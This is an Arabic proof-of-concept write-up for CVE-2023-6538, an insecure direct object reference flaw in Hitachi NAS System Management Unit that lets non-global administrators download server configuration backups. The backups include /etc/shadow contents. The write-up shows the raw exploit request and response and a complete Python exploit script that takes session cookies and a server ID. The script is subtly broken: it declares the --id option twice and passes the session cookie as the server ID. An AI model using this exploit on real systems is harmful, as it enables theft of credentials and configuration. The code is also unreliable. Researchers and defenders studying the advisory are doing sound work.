
استغلال إثبات المفهوم لـ CVE-2023-6538، وهي ثغرة من نوع IDOR في وحدة إدارة نظام Hitachi NAS تسمح للمستخدمين غير المصرح لهم بتنزيل نسخ احتياطية لإعدادات الخادم التي تحتوي على بيانات حساسة.
CVE-2023-6538 هو ثغرة مرجع كائن غير مباشر غير آمن (IDOR)
وجدت في وحدة إدارة النظام (SMU) الخاصة بـ HNAS من Hitachi NAS، وتحديداً في وظيفة Configuration Backup & Restore. تؤثر هذه الثغرة على إصدارات SMU الأقدم من 14.8.7825.01.
يتطلب هذا الاستغلال أن يمتلك المهاجم صلاحية الوصول إلى بيانات اعتماد حساب مستخدم ليس Read-Only أو Global Administrator، أي:
Storage AdministratorServer AdministratorServer + Storage Administratorحسب التصميم، يجب أن يتمكن المستخدمون الذين لديهم دور Global Administrator من الوصول إلى وظيفة Configuration Backup & Restore في SMU، الموجودة على الرابط
https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1
وإرسال الطلب التالي، والذي من شأنه إنشاء وتنزيل نسخة احتياطية من تكوين الخادم المحدد (أي خادم متصل بـ SMU):
GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
إذا نجح الطلب، يستجيب SMU بالرد التالي ويبدأ تنزيل registry_data.tgz:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU
[DATA]
لكن بسبب سهو في منطق أعمال SMU، يمكن لمهاجم لديه إمكانية الوصول إلى حساب من نوع Storage Administrator أو Server Administrator أو Server + Storage Administrator تحديث ملفات تعريف الارتباط JSESSIONID و JSESSIONIDSSO لتطابق ملفات تعريف الارتباط الخاصة بالمستخدم الذي بحوزته، مما يسمح له بتنزيل أرشيف التكوين. بالإضافة إلى ذلك، يمكن للمهاجم أيضاً تحديث معامل serverid في الطلب لتعداد وتنزيل أرشيف التكوين لخوادم مختلفة متصلة بـ SMU.
وبالتالي، يمكن استخدام سكريبت مثل CVE-2023-6538.py لاستغلال هذه الثغرة:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-6538
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-6538 PoC",
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="Server ID value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso, serverid):
# Set the filename:
filename = "registry_data.tgz"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso, args.id)
يمكن فهم مبرر درجة CVSS v3.1 البالغة 7.6 بشكل أكبر من خلال فحص registry_data.tgz:
$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1
1 directory, 14 files
يحتوي أرشيف .tgz على إعدادات ومعلومات متنوعة حول الخادم المتصل بـ SMU:

كما يظهر في الصورة المحررة أعلاه، يحتوي registry5.db1 على محتويات ملف /etc/shadow (الذي تم العثور عليه عبر regex) للخادم المحدد.
هذه الثغرة هي "ثغرة شقيقة" لـ CVE-2023-5808.